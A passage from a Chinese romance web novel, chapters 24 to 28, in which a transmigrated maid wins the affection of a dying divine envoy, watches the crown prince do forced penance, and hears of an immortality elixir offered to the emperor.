矮胖圆润,四肢短短,棕毛湿漉漉披在身上,两只眼睛眯成一条缝,鼻孔朝天,浑身上下透露出一股波澜不惊,生死度外的佛系气息。
她结结巴巴,语气不可置信的轻飘上扬:“卡,卡皮巴拉?”
24. 第 24 章
子桑听到她震惊到上扬的语调,略怔且疑惑,原本以为被看破的羞恼、慌张和悸动在几个呼吸间便褪去。
他抬头问道:“什么卡皮巴拉?”
赵玉屿一时不知该如何解释,只好指了指水中波澜不惊的眯眯眼说道:“我是说这只水豚皮肤水滑,毛发湿漉漉的,太可爱啦。”
子桑听到这话了然:“小呆啊。”
说罢,他一吹口哨,露出水面的鳄鱼两只青褐色的眼皮一翻动,载着水豚便朝浴池边上慢慢游来,卡皮巴拉在雾气缭绕的温泉中,恍若飘飘乎登仙而来。
子桑一只手将它提溜起来,它也不反抗,依旧是一副生死随缘的淡定模样。
然后,它就被子桑一把扔出水面,在水池上方划过一道圆润的弧线,正中红心,丢在赵玉屿怀里:“玩吧。”
子桑又吹了声口哨,与此同时,水面上窥探的两只黄眼睛无声无息的潜了下去。
水底巨大的一团黑影缓缓游到子桑脚下。
赵玉屿抱着怀中胖胖乎乎结结实实一动不动的水豚,伸长脖子瞅了瞅水下巨大的黑色阴影,还是按捺不住好奇问道。
“神使大人,您为什么会在温泉里养鳄鱼啊?”
子桑仰头,舒舒服服靠在浴池边闭目休养:“搓脚。”
赵玉屿:“......”
真是无懈可击的理由。
别说,鳄鱼那身疙疙瘩瘩硬搓搓的表皮用来搓脚按摩正合适,只是正常人都不敢觊觎罢了。
然而子桑本来就不是正常人。
虽然此时她面前不到一米的水下潜伏着一只大鳄鱼,不过赵玉屿一点儿也不害怕,毕竟有子桑这尊大神在这儿镇着呢。
她瞧着怀中的卡皮巴拉越看越可爱,忍不住吧唧亲了一口,狠狠揉搓它胖嘟嘟软乎乎的身子。
这卡皮巴拉脾气甚好,被她怎么揉搓也丝毫不反抗。
见它身上的毛发有些打卷,赵玉屿便索性拿来毛刷和皂角,兴冲冲坐在浴池边上给它刷毛。
洁白绵密的皂泡包裹住褐色的小胖墩,只留出两个半眯起的小眼睛和黑色湿漉漉一耸一耸的鼻头。
猴大已经收拾完衣服,揣了几根香蕉一蹦一跳过来,将其中一根香蕉狗腿的奉给子桑,剩下几根随意放在地上,一边坐在池边给子桑捶背,一边剥香蕉吃。
赵玉屿见水豚一直发呆,心里暗笑子桑虽然起名潦草但也符合这水豚呆呆傻傻的模样。
她一时起了好玩心,剥了一根香蕉凑到它嘴边逗它玩。
没想到这丫小东西看起来神思恍惚,遇到吃的竟毫不嘴软。鼻尖耸动几下后,就张嘴将香蕉吞下,鼓着腮帮在嘴里细嚼慢咽。
赵玉屿瞧着可爱,又剥了一根喂它,再剥一根......
一旁猴大正勤勤恳恳的捶背,吃完一根香蕉再伸手一摸,啥也没摸到。
它奇怪的扭头望去,地上就剩香蕉皮了!
猴大的目光顿时从震惊、愕然,到看着一旁的卡皮巴拉将香蕉吞下时的不可置信,气得哀嚎一声乱蹦脚,伸手就狂拍卡皮巴拉的后背,要让它吐出来。
然而那矮墩墩的小东西依旧眯着眼,任猴大怎么跳脚掐脖子乱晃都不动摇,老神在在的将口中最后一点香蕉咽下,甚至打了个饱嗝儿。
猴大:“!!!”
吃了我的东西还对我耀武扬威!
它气得想要冲上来打小呆,赵玉屿连忙护住小呆。
但事情到底是因她而起,她对着猴大也使不出往日的神气,搓了搓手,有些尴尬:“猴爷,是我一时没留意,要不,我待会给您多摘几个香蕉赔罪?”
猴大龇牙咧嘴依旧不依不饶,赵玉屿又商量道:“那我新做些好吃的糕点果茶给您送去品鉴,再给您缝件风风光光的漂亮衣服如何?”
猴大见赵玉屿难得的软声软气,越发得寸近尺,呸了一声,撅起屁股朝她放了个响亮的长屁。
赵玉屿:“......”
尼玛,这屁可真臭!
猴大正作态拿捏得意洋洋,下一秒就被子桑毫不留情的巴掌扇懵。
子桑坐起身子捏住鼻子,满脸嫌弃:“你要死吗?”
猴大见他训斥,一时眼泪汪汪,捂着脸撅起嘴唇一颠一颠的跑开了。
卡皮巴拉还在嘴唇蠕动,鼻尖略耸,似乎还在回味着香蕉的味道,对发生的冲突丝毫不知。
赵玉屿瞧着猴大凄惨的模样也有些于心不忍:“额,它看起来......很受伤。”
子桑靠回浴池边上:“不用管它。”
“神使大人您明明很在意猴大的。”
赵玉屿识趣的接过猴大的活儿,接着替子桑按摩,没成想子桑在她指尖触碰到肌肤的一瞬间犹如惊弓之鸟一下弹了起来,让赵玉屿也吓了一跳,手指还停在原处没收回,眨巴了下眼睛疑惑地望向他。
子桑也意识到自己失态,然而瞥向赵玉屿的那一刻,原本的慌张更是显目。
池边本就白雾缭绕,热气蒸腾。赵玉屿帮小呆洗澡
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时为图方便凉快就将衣摆扎起,卷起了衣袖和裤脚,露出一小节白皙的胳膊和小腿。
眼晕头热之下,那白得更加晃眼,子桑觉得身子愈加发热,有些慌乱地撇过眼,一把将还在缓缓咀嚼的小呆扯到怀里,任由它身上的泡沫沾染到身上,掩盖了脸上那一抹飘忽不定的红晕,硬声硬气的吩咐:“出去。”
“哦。”
赵玉屿以为他心情不好,想着可能是因为昨晚没睡好的缘由吧,这么一想又担心子桑会怪罪到自己身上,毕竟自己压了他胳膊睡了一晚。
子桑脾气向来古怪多变,若是他一时不快将火全撒到她身上也是有可能的,那是她可吃不了兜着走。
赵玉屿连忙起身行了一礼后快步退出,待推开隔门出了温泉池,清晨新鲜的空气贯然涌入,扑面而来的花草清香让她原本有些闷热的身子瞬间舒畅。
天边似有鹤鸣嘹亮,赵玉屿仰头望去,隐隐可见晨曦与鱼肚白相交的一线天边有鹤群飞来。
因着子桑的存在,帝都群鹤环绕并不见怪,赵玉屿未曾多想,只趁着天色未亮,众人尚未起床,也匆匆冲了把热水澡后回屋。
昨夜睡得并不算踏实,赵玉屿原是想小憩会儿,没成想一觉睡到了日上三竿。
她见窗外艳阳高照,连忙一个鲤鱼打滚翻身起床,着急忙慌穿好衣裳跑出屋去。
寻日里子桑吃穿用度皆是她着手准备,稍微有些不满意便得被小祖宗挖苦,如今迟了那么久,必定得被子桑阴阳怪气数落一顿。
刚出院子,正巧撞上李嬷嬷,差点头顶头撞个大包。
张嬷嬷见她行色匆匆,连忙扶稳她:“这么着急忙慌得做什么?”
赵玉屿有些尴尬:“张嬷嬷,我不小心睡过了头,忘了时辰。”
张嬷嬷却宽笑道:“不碍事,神使大人特意吩咐了,玉儿姑娘辛苦,让咱们不要打扰您休息,李嬷嬷已经将今日事宜都安排好了。”
她似是有些踌躇:“玉儿姑娘,昨晚宫宴上......”
然而话说一半,赵嬷嬷顿了顿,最终只是一笑:“没什么,玉儿姑娘你好些休息吧,老身还有些事情,就先走了。”
见赵嬷嬷脚步匆匆,神色晦暗纠结,提到宫宴却有言辞闪烁,不敢多言,赵玉屿觉得有些奇怪。
她自然已经睡不着了,子桑这时候一般在摘星楼里看书,赵玉屿索性做了些糕点和果茶,拎着食盒抬脚朝摘星楼走去。
经过承天台时忽见祭坛中央跪着一道笔挺的身影。
25. 第 25 章
承天台乃是奉天宫祭祀所用,祭天地诸神,祈求万民福祉,唯有重大节日才会启用,平日里都是放置在那当摆设。
往日就算有神侍惹了子桑不快被处罚,也不会让人跪在那儿受罚。毕竟这处罚不轻也不重,就算是跪上几天也死不了人,顶多受点伤饿上几顿,这处罚更多是丢面子。
赵玉屿好奇祭坛上跪着的人是谁,走近一瞧,不免讶然,罚跪在那的不是别的神侍,居然是宋承嵘!
已近午后,骄阳高悬,即便是汉白玉底的地基也耐不住几个时辰的罚跪,热得滚烫。
宋承嵘此时背后灼热,双膝麻木刺疼,口干舌燥,面色惨白,唇角生皮,额角渗出密密冷汗。
今早宫中传来一道圣旨,说是神使得天谕预警,天将降大旱三年以惩世人不诚之心,须地上皇跪首祭祀台三日,不进米食,潜心祝祷,方解此劫。
德仁帝如今年已六十,哪里受得了三日长跪,抚鹤神使感念德仁帝多年向善求道,便请示诸神,可由太子承父懿旨,跪首三日向天道求情,为万民祈福。
德仁帝自然乐意,即刻传旨,顺势让太子替自己受罚。
宋承嵘身为太子,受万民供养,于公,自当以身奉天下万民,赴承天台替天下百姓祈福;于私,替父受罚,合情合理,孝感动天。
宋承嵘自然不信天降大灾这等荒谬谶言,他与子桑向来不合,认定这必定是子桑为戏弄羞辱他的诡计,可即便知晓这是子桑的诡计,奈何德仁帝深信不疑,百姓视为天意,他若不从,便是置父皇于不仁,置天下百姓于不顾,置万民于水深火热,到时一个不忠不孝不仁不义的名头扣下来,民声载道,父皇不满,他的太子之位怕是也悬于高梁。
如此,宋承嵘只得忍气吞声,从辰时至今,已足足跪了三个时辰。
他自幼习武,耳力比常人更甚,这一日之中,祭坛之下时不时便有三三两两的宫侍经过,皆都低头不语,快步而行,偶尔有几道低语飘入耳中,全是惊讶和好奇。
宋承嵘何时受过此等羞辱,只觉锋芒在背,屈辱至极,咬牙闭眼,承受着一切的非议和暗笑。
赵玉屿站在不远处看了一会,暗自咋舌,也不禁觉得子桑太狠了。
像这种处罚对她来说是小意思,除了膝盖疼点肚子饿点没有丝毫杀伤力,但对于最重脸面的权贵子弟来说,却比要他们的命还要痛苦。
打人不打脸,宋承嵘向来自傲,这惩罚对于他一国太子来说更是身心双重暴击。
“怎么了,心神不宁的。”
摘星楼里,子桑坐在方花纹貂纹软皮塌上翻了一页书,瞥了眼在一旁伺候,却明显心不在焉的赵玉屿,疏懒问道。
赵玉屿摇了摇头,坐在软塌旁的小凳子上耐心削着梨:“神使大人为何要让太子受罚?”
子桑又翻了一页书,漫不经心道:“心疼了?”
赵玉屿:“......”
这都哪跟哪啊。
赵玉屿嘴角一抽,解释道:“小女只是想不通,太子殿下是未来储君,他又一向不喜摘星宫,神使大人跟太子交好不是更好吗?”
为何要故意与太子为难呢?甚至已是明面上的羞辱和刁难。
此事或许于外人看来,尽是奉仙宫占巧。若大旱未临,那便是子桑以通天之能提前预警,免去了天罚;若天降大旱,那便可说是太子祈福之心不诚,导致天怒责罚,左右都能说得通,还能泼太子一身腥。
可这一切都是在德仁帝在位的前提下。
德仁帝如今已经六十了,她可不信什么长生不老之道,老皇帝早晚是要驾崩的,他膝下如今只有三位皇子,除宋承嵘外的另外两位皇子,一个虽自幼聪颖过人,却天生残疾无法继任皇位,甚至连入朝为官都不行,只能当个闲散王爷;另一个尚且在襁褓之中嗷嗷待哺,太子宋承嵘可以说是大雍唯一的继位人,这已是不争的事实。
子桑如此对待太子,不是不给自己留后路吗。
日后一旦太子登基,本就厌恶神道之说的新帝势必要拿摘星宫开刀,杀鸡儆猴,血洗朝堂,排除异己,更新换代。
原著后期虽未明说,但从后宫宫人的只字片语中也可以推断,将来的宋承嵘的确是这么做的。
子桑毫不在意,慵懒靠在小榻上神色淡淡:“既然他都不喜摘星宫,那为何要同他交好?”
赵玉屿微怔,在子桑淡漠不屑却又有些厌倦的神色中似乎明白了他的意思。
后路这种东西,是给活着的人准备的。
如果一个人注定要死,那的确没有留后路的必要。
以己度人,若她知晓自己只剩下一年寿命,药石无医,到期必死,那剩下的日子自然怎么快活怎么来,想做的事情必须完成,佛挡杀佛神挡杀神,光脚不怕穿鞋的,还会想什么以后。
所以子桑做事情,总是带着一种平静懒散的疯批感。
因为活不了几年,无所谓做什么,无所谓旁人的看法,也无所谓得罪谁,只要自己开怀就行。
这精神状态从某种意义上来说,异乎常人的强
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大和稳定。
可这样想着,赵玉屿心中却有些难过。
她张了张口,最终也不知道该说些什么,只低着头切梨块。
子桑见耳边没了声音,目光从书上挪开瞥了她一眼,见她神色闷闷似是心事重重,心中也莫名涌上些烦闷,将书丢到一旁,伸手捏住她的脸。
“唔!”
赵玉屿被他突如其来的动作吓了一跳,讶然抬眼。
“怎么不开心?”
难不成是因为太子受罚,她瞧着心中难受。
赵玉屿垂下眼眸,声音低沉:“小女心中难过。”
果然是因为太子。
子桑听到这话眼中一暗,手下的力道忍不住重了一分,直到听到赵玉屿吃痛轻唤,这才恍然回过神来,垂眸收了手。
瞧着赵玉屿脸上的赫然红痕,子桑一时心乱如麻,五味杂陈,最终有些自嘲地扯了扯嘴角。
的确,跟着他一个将死之人,自然没有跟着前途无量的未来新帝合算。
众人皆知他行将就木,摘星宫人人面上敬仰,实际各自盘算出路,这些他不是不知道,只是从不在意。
他在一日,他们就得跪下一日,死后如何,干他何事。
他早就做好了赴死的准备,可方才那一刹那,竟也生了一丝不甘和厌恶。
不甘于短折而死,厌恶自己既定的命运和面对命运时的无能为力。
子桑垂下眼眸,心生厌烦刚想将赵玉屿屏退,却听到少女有些低落的回答。
“神使大人,旁人都说您注定......小女每每想到此,心中便难过。”
子桑顿住,目光含着几不可见的错愕。
赵玉屿以为自己说错了话,连忙道:“小女一时多言,还请神使大人赎罪。”
是为了他,才会难过吗?
“你,是因为这个才难过?”
“是啊。虽然知晓神使大人不同凡人,日后涅槃乃是复归神位,可人非草木,与神使大人相处至今,小女感念大人恩情,私心希望大人可以长留人间。”
子桑望向赵玉屿,一时无言。
四周像是陷入一片死寂,寂静良久,久到赵玉屿怀疑子桑是不是在走神时,她忽而听到头顶传来一道淡薄的声音。
“你是第二个,希望我活下去的人。”
赵玉屿一愣,斗胆轻声问道:“那第一个人是谁?”
“死了。”
“......”
赵玉屿猛然叩首:“小女知错!”
26. 第 26 章
赵玉屿有些懊恼,怎么就一时不小心说出了心里话。子桑必定是忌讳旁人提及他命不久矣这件事,她这真是自己撞到枪口上了。
“抬头。”
她虽心怀紧张,还是依言缓缓抬起头,然未等她顺从的望去,就被一只手强势的捏住下巴抬起,仰目望去,撞入一双深幽凝雾的眼眸中。
子桑不同以往交谈的戏谑随意,他俯身望向她,凑近很近,近到赵玉屿可以感受到他的鼻息,近到可以看清他瞳孔中倒映出的小小的错愕的自己。
赵玉屿有些不习惯这样的距离,不自在的稍稍后仰,却被捏着下巴的手掌强劲控制住,逼迫着她直视眼前的少年。
她感到周遭空气稀薄,两人之间紧迫的距离像是将她挤压在一个狭小的缝隙间,窒息的压迫感铺天盖地席卷而来掠夺空气,让她无法呼吸,忍不住垂下眼眸不敢直视。
这是她同子桑相处以来,从未感受过的窘迫。
耳边响起一道轻问:“若我死了,你当如何?”
“小女愿意常伴青灯,为神使供奉香火。”
一声轻呵,似是嗤笑,随即是带着恶意的嘲弄。
“不,你不会。如你这般狡猾的丫头,只会给自己找一个更加强大的靠山,你会讨好太子,竭尽全力的讨好他,只为了能出人头地,不再过以前屈辱的生活,就像你如今竭尽全力的讨好我一样,不是吗?”
他每说一句,手下的力度便重了一分,像是要将她捏成碎片。
见赵玉屿不回答,他又轻声问道:“是吗?”
这声音不同方才,带着诱逼和蛊惑,像是丝丝毒藤在无人在意处悄然滋长,待醒悟时早已攀爬缠绕全身。
一道清亮的声音问道:“神使大人若是这般看我,为何还让小女常伴您左右?”
此话一出,原本满目嘲弄和恶意的子桑眼中一顿,捏着她下巴的手下意识卸了劲,瞥去眼眸缓缓起身坐直身子,恢复了往日淡漠神色:“日子无聊,难得消遣,我只是想看看你都有些什么手段。”
赵玉屿瞧着他大袖下无意识捏紧的手指:“大人其实无需向小女解释,您是神使,万人之上,若大人觉得小女是趋炎附势、谄献媚上之人,大可赐小女一死。”
子桑未曾想到她会如此回答,冷眼望去:“你以为我不敢杀你?”
他冷笑一声,接着讥讽:“莫不是这些日子惯着你,倒让你觉得自己与众不同了。莫忘了,你不过是一个婢女,本尊想杀便杀。”
赵玉屿讶然,眼中真诚:“大人惯着我?这话从何说起呢?小女不过是一个普通婢女,侍奉神使大人自觉惶恐,如何能让神使大人惯着?”
子桑:“......”
赵玉屿接着道:“神使大人若是想杀我,小女不敢不从。只是临死之前小女还是有句心里话想对大人说。”
她顿了顿,望向子桑。
子桑冷笑一声撇过头不愿瞧她,竖耳等了片刻,却见赵玉屿硬是望着自己不说话,一双杏眼,满目真诚,似是在请求他的同意才敢开口。
子桑略噎,最终从喉咙中挤出一个字。
“说。”
死傲娇。
赵玉屿心中吐槽,唇角压住稍起的笑意,一脸哀叹:“神使大人您其实说得没错,当初小女入奉仙宫,就是为了能逃脱赵家。不论当初是选神侍,还是入宫为婢,只要能离开赵家那个吃人魔窟,小女都愿意。三年来,小女从未见过神使大人,只是想着若是有朝一日能得神使青眼成了您的贴身侍女,自然日子就好过了一些,至少不用再回赵家吃糠咽菜。在成为内殿侍女之前,小女眼中的神使大人便是如众人所言,是高高在上,睥睨众生的仙尊。”
“成了内殿侍女之后,最初小女讨好神使大人,一来是尽本职,二来的确是存了讨好大人的心思,希望大人能够器重小女,让小女得以在外人面前长脸面,不再过寄人篱下的生活。可这些日子以来,小女斗胆,自觉大人可亲可爱。大人有时虽数落小女,却从未真的生过小女的气。小女一病不起,也是大人以仙丹救治小女。小女对赵家心存怨恨,即便是赵家负我在先,但在世人看来,女子怨恨父亲便是不孝不忠,乃是大罪。可神使大人却并不与世人同言,还愿意替小女撑腰,让小女出了这口恶气,以上种种小女皆铭记在心。”
赵玉屿抬眼,含着璀璨流光的眼眸望向子桑,毫无畏惧和迟疑:“所以,如今于小女而言,您不仅仅是护国神使这个称谓,还是小女愿意以毕生效忠之人。小女对您的敬意和尊重,并非因为您的身份,而是因为您本人。太子殿下便是再好,在小女心中也不及神使大人分毫,更何况,那太子为人□□,若要小女违心侍奉他,小女宁愿自裁追随神使大人,小女,小女也是有骨气的!”
赵玉屿说完这话,似是一惊,连忙闭嘴伏地顿首,状若下了必死决心:“小女自知此番言论乃是大逆不道,甘愿受罚。”
她额头贴着手背叩首,耳朵
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竖起悄悄听着动静。
头顶未有动静,赵玉屿心中有些打鼓,毕竟她这番话说得情真意切却十分过激,也算是没了回头路,是好是坏全凭子桑决断。若他不悦,那这段话就够她死上一百回了。
但赵玉屿相信,子桑必定爱听这话。
毕竟对于一个被置于高岭之巅,倔强的抵抗命运却又不得不屈服命运的孤僻又绝望的少年来说,一个真诚而单纯喜爱着他这个人,而非他神使身份的同伴,是短暂人生中多么难得的慰藉。
更何况赵玉屿还有一双巧手和玲珑心思,总是能带给他惊喜。
赵玉屿想,以子桑的性格,在他登仙之际或许会噶了她带她一起走,但现在,他舍不得。
她就赌他舍不得,不是舍不得她,而是舍不得像以前一样,独自喝酒、看书、赏景,在摘星楼高处不甚寒的屋顶独坐一夜,目光所及皆是虚无。
毕竟一个濒死之人,自然是随心所欲,无需考虑阴谋阳谋。不论以后如何,至少在人生的最后阶段,有一个人陪在身边,总比没有的好吧。
过了一会儿,头顶传来一道鼻腔里憋出的几不可闻的轻哼。
【滴,攻略对象好感度增长2%,当前好感度47%】
脑海中传来熟悉的系统提示音,赵玉屿松了口气,绷直的背脊终于放松。
果然,她赌赢了。
“起来吧。”
“多谢大人。”
赵玉屿如释重负,笑呵呵将削好的梨切成小块呈上:“大人吃梨。”
子桑没好气的捏了捏她的脸蛋:“你倒是没心没肺的。”
赵玉屿眨了眨眼睛,一脸无辜:“大人此话怎讲?”
子桑拿起小叉子叉起一块梨:“真不怕我杀你?”
赵玉屿皱起脸:“若说怕死,小女自然也怕。人人都怕死,可若是死得其所,倒也无畏,就怕死得憋屈。”
子桑指尖捏着小叉轻旋:“怎讲?”
赵玉屿凑近讨好:“比如若是同大人在一处,为大人而死,小女虽死犹荣,可若是因为太子殿下而死,那就太不值了,到了阴曹地府小女都得冤得跟阎王爷哭上一哭。”
子桑被她煞有其事的语气逗笑,将梨块塞到她嘴里:“你这嘴倒是比梨还甜。”
赵玉屿殷勤的为他敲了敲腿,狗腿哀嚎:“所以神使大人,您可千万别再把小女同太子殿下牵扯一块,每每听到您这般说,小女都心慌得很,生怕您不要我了。”
27. 第 27 章
子桑重新拿起书:“行了,既然你这么讨厌太子,那就给你个狐假虎威的机会,去告诉太子,把背挺直了,否则祈福不诚,诸神怪罪,可就不止大旱三年了。”
这是让她站队,逼着她与太子交恶,也是对她的试探。
“是。”
赵玉屿虽然不想得罪太子,毕竟多一事不如少一事,却又不敢不从。她前头话都说到那份上了,若是犹豫退缩便是欺骗了子桑。
赵玉屿硬着头皮下了楼,离老远瞧着还倔强跪在那儿,却在淡去的昏凉夕阳下有些撑不住背脊的宋承嵘,也觉得有些惨。
这还剩两天呢,即便是晚上,宋承嵘也得跪在这睡,正常人膝盖都得跪废了,更何况三天不给吃喝。
老皇帝就这么一个能干的儿子,居然也不心疼,可见帝王多薄情。
啧,也难怪原著里宋承嵘那么讨厌神佛一说,天罚一词便将堂堂太子压制至此,这心理阴影得多大啊。
更何况宋承嵘高傲自负,怎么会容忍有人见过他如此狼狈的模样,自然是要将奉仙宫一干众人皆铲除殆尽。
*
夕阳彻底褪去的那一刻,昏蓝如墨的天空将万物渲染得苍凉黯淡。宋承嵘原本笔直的身子早已弯下,双唇的血色似乎被灼热的日光吸食殆尽,随着夕阳的垂落消散,徒留一片惨白。
一日未食,长跪不起,宋承嵘觉得脑袋有些晕眩。
恍惚中,他似乎听到一阵轻盈的脚步声,低垂的眼前,裙摆如莲花绽放轻旋,裙摆下是一双素净白靴。
宋承嵘心神一颤,陡然想起记忆中那把雨夜中为濒死的自己撑起的雨伞。在他昏迷之际,映入眼帘的也是一双素净白靴,于幽深午夜如光如炬,格外耀眼。
宋承嵘下意识屏住呼吸,按捺澎湃的心潮抬头望去,映入眼眸的是一张笑盈盈的娇俏面容,却并非他朝思暮想的那张脸。
“太子殿下孝感动天,令小女动容啊。”
赵玉屿原本想先夸赞他几句免得太过于得罪人,可瞧着他这张脸,说出口的话的确阴阳怪气。
果然,虽然太子算是个明君,但是对这种抛弃妻子又满世界寻找替身的渣男她还是无法苟同。
即便太子的自我借口是时局不稳,为了保护女主的安全才出此下策,可说白了不还是为了自己的私心,否则怎会转头就另娶尚书之女当太子妃。
冷语伤人一走了之,留下新婚燕尔便被抛弃的女主,何其寒心。
更何况之后强迫已有身孕的女主,逼她同小侯爷分离,杀了人家丈夫还吃醋关她进冷宫,虐身又虐心,简直畜生。
妈的,想想就来气。
赵玉屿面上冷了几分,脸上依旧含着笑意却不见眼底:“殿下长跪于此,怕是累了吧,可是这世间百姓大多艰苦,每日辛勤劳作日子却过得如履薄冰;太子殿下一日未食,想来是饿了吧,若是天下大旱三年庄稼颗粒无收,那万民皆成饿殍,路有白骨,夜游冤魂,殿下一心为民,想来必定不忍如此。所以神使大人让小女提醒殿下一句,请殿下祈福虔诚,若是诸神动怒天降责罚,那这罪名,殿下可担待不起。”
赵玉屿双手拢于大袖,觉得自己现在的模样必定是一副尖酸刻薄狗仗人势的小人嘴脸,否则宋承嵘的眼里不会都快喷出火了。
宋承嵘深吸一口气,缓缓挺直脊梁,目光直视前方冷声道:“不劳神使费心。”
恶人做到底,赵玉屿轻啧一声,将扎心贯彻到底:“殿下可莫逞强,若是昏死过去,便是天降风霜暴雨,也无人会医治您的,三日之内,还得靠您自己渡过难关。”
说罢她拂袖长去。
此话一出,宋承嵘身子猛僵,心中窒息一痛,如针刺如刀割,恍惚间脑海中又浮现出那道月光般圣洁的身影,和漂泊大雨中躺在的泥泞里形容污垢的自己。
他拥有过月亮,却亲手将月亮丢弃。
如今,如今再也寻不回了吧。
朝男主心口扎了一刀的赵玉屿神清气爽,昂首挺胸进了摘星楼,结果再次爬得累成狗。
等她向子桑请命时,子桑瞧着她气喘吁吁的模样勾起嘴角:“爬个楼而已,至于累成这样吗?”
“小女可不及神使大人您,每日可以驾鹤而行,去哪都风驰电掣,自然不累。小女只有两条腿,这么高楼梯爬下来,人都得瘦一圈。”
子桑靠在小榻上,难得心情愉悦,朝她怀中丢了个东西。
赵玉屿双手接住一瞧,是个小玉笛。
“念在你每日要给本尊送夜宵,这笛子赠你,日后可乘鹤上楼。”
赵玉屿怔住,没想到他居然会将玉笛送给她,却也纠结。
“可是,小女无驭鹤之能啊。”
“驭鹤术不算难,只是心法而已,我教你。”
赵玉屿还是纠结:“可是,如此奥秘的心法神使大人您教给我......”
会不会太过草率了点。
子桑有些不耐,摊出一只手掌:“你学不学,不学还我。”
“学!学!学!”
不学白不学,赵玉屿见他要要回笛子,连忙宝贝的将笛子紧紧搂在怀里,眼泪汪汪狗腿道。
“神使大人对小女真是太好了,小女无以为报,只能以身,啊不是,以命相许。”
子桑瞥了她一眼:“以身以命有什么区别吗?”
赵玉屿讪讪道:“那还是有一点的。”
“无所谓。”子桑摸了摸她的头发,用一种飘然又捉摸不透的晦涩语气说道,“至少在我死之前,你都是我的人。”
然而子桑并未来得及教授赵玉屿驭鹤心法,当日,帝都便出了一件大事。
“瑶山仙族派飞鹤传书,请神使大人回仙山?”
“是啊是啊!”
来传信的太监喜上眉梢,翘着兰花指道:“今早早朝之上,自东方有群鹤而来,绕柱而飞。其首一鹤,口衔兰信献于圣上。信上所言,瑶山炼制出长生不老之仙丹,念圣上恩泽万民,有济世之能,愿将仙丹献于圣上。然仙丹稀世,于极寒之地方可长存。若离瑶山需神使亲驾,以半仙之躯护佑仙丹,保仙丹路途无恙。陛下大喜啊!特命老奴前来请大人赴瑶山之请!”
这话......听着就不太靠谱啊。
赵玉屿琢磨着,原著里也没说有这一段啊。
莫说瑶山到底存不存在,若是老皇帝当真吃下了长生不老药,也不会在原著中太子夺权
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后郁郁而终。
可见这长生不老药,不靠谱。
传信太监朝赵玉屿身后的楼阁探了探头,小心问道:“玉儿姑娘,这神使大人何时才能起身啊?奴才等着回去向圣上复命呢。”
赵玉屿面上寒暄:“许公公,您稍安勿躁。神使大人每日午后必定要小憩一会儿,若是不小心惊动大人,惹大人动了怒,这后果,您我也担当不起啊。”
她抬头瞧了瞧屋檐后的日头:“应当快了。”
“哎哎哎,奴才知道,奴才知道。”
许公公依言等候,不敢催促。
这护国神使的脾性他是知道的,比圣上都难伺候,可谓是帝都第一的目中无人,连圣上的面子都拂,更何况旁人了。
若是不小心惹恼了神使,他一个小奴才的命根本不够赔的。
如此,许公公瞧着眼前神态自若的侍女倒也心生出一些敬佩。
听闻这侍女将抚鹤神使哄得服服帖帖,甚至带其驭鹤同游,连出席国宴都带着她,可见是极喜欢她的。
许公公正想着送点银子做人情,就见身后窗户被一只瘦黄的手臂推开,竟是一只猴子。
赵玉屿瞧见,笑着推开门:“神使大人醒了,许公公快随我进去吧。”
许公公连应几声,随着赵玉屿走进小阁。
这阁楼不大,圆楼圆顶,三面环水,只来时一条浮桥成路。阁楼中环屋二十四扇彩色玻璃小窗皆被推开,从小窗中朝外望去,水中怪石凌立,水岸翠竹成趣,白鹤梳羽,翠鸟飞环,金鱼跃水,枯荷瑟瑟,人走窗移,扇扇成景,恍若画中游。
比起皇宫的庄严肃穆,草木皆荒,这奉仙宫显然更富江南水乡之雅趣灵动。
小阁内的一侧窗户边,子桑坐靠在小叶紫檀鲤鱼戏水莲花半扇小榻上,腰后垫着两个蜀锦高枕,他的长发未梳,垂披而下,绸缎般散在床榻上,浓墨青丝间露出精雕细琢的侧脸,面色瞧着却有些苍白,像是梦魇方醒。
子桑一只手肘压着窗框,素白修长的手指朝外递上一块糕点。
一只仙鹤从池中点水飞来落在窗外,修长的脖颈低下,尖长的橘喙衔住糕点,昂颈耸动几下,将糕点尽数吞下,旋即长脖又伸进窗户里想去叼碟子里的糕点,被子桑一巴掌拍回窗外。
白鹤委屈叫了一声,展翅飞走。
许公公瞅准时机上前一步,弯腰行礼道:“神使大人大喜。”
子桑拿帕子擦了擦手,后靠小榻,语调慵懒:“恭维的话就不必说了,地上皇之喜又非本尊之喜。”
许公公讪笑:“今早早朝之上,自东方有群鹤而来,绕柱而飞......”
子桑明显不耐:“长话短说。”
“是是是。”许公公连道,“瑶山传信,请神使大人亲自回瑶山一趟,护送长生不老仙丹回帝都赠予陛下。”
此话一出,赵玉屿感到子桑明显嗤之以鼻:“长生不老仙丹。”
他又沉默片刻,旋即发出一声古怪的低笑,一声,两声,一声接一声,这笑声逐渐放肆、张狂,像是烈日中自天心而降的灼灼暴雨,打落在长满青苔的檐角,摔落在荒凉孤寂的断壁残垣,砸落于静如明镜的池面,逐渐连成一片涟漪。
28. 第 28 章
子桑笑得前俯后仰,笑得眼角渗出泪水,笑得不慎挥落了一旁的糕点,白瓷小碟摔得清脆粉碎。
或许是瓷碟摔地的声音唤醒了子桑的理智,他用衣袖擦了擦眼角的泪水,缓缓平息胸口的震荡,又恢复了那副懒散轻屑的模样。
“回去告诉地上皇,三日之后太子殿下祈福毕,本尊便启程。”
许公公得了回复,自然欢天喜地的离开。
小阁中只剩下赵玉屿和子桑两人。
赵玉屿上前一步:“神使大人,这世上当真有长生不老药吗?”
子桑眉梢一挑,略带玩味:“怎么,你也想要?”
赵玉屿又上前一步,行事鬼祟,压低声音却斩钉截铁道:“小女是想,若当真有这仙丹,与其献给陛下,大人不如自个吃了,一走了之!”
子桑:“......”
见眼前的少女杏眼含光,满目真诚,不似作假,他难得被噎住,一时无言。
见他不说话,赵玉屿以为他在思考事情的可行性,顿时理直气壮道:“大人您本就是瑶山之人,俗话说肥水不流外人田,与其将仙丹送给别人,不如给您用。再说,这世上若真有个长生不老的君主,于官于民于社稷,都是弊大于利。到时候您取到仙丹,骑上仙鹤就跑,论是再快的追兵也追不上您。哦不对,瑶山本就是您的家乡,您倒也不用跑......”
“噗嗤。”
子桑瞧着她煞有其事的分析,忍不住笑出了声。
这次笑容不同以往掺杂着轻蔑、嘲弄和厌世,而是纯粹的,干净的,一个十八岁少年的笑,明亮而璀璨,宛若旭日融山雪,杨柳送春风。
晃乱了赵玉屿的眼。
她怔住,看着子桑盘腿坐起身子,比方才的懒散多了些孩子气,伸出两只手捏住她的脸。
“你怎么瞧着傻乎乎的。”
“唔!”
子桑将她的脸揉搓成各种形状,时圆时扁,玩够了才松手。
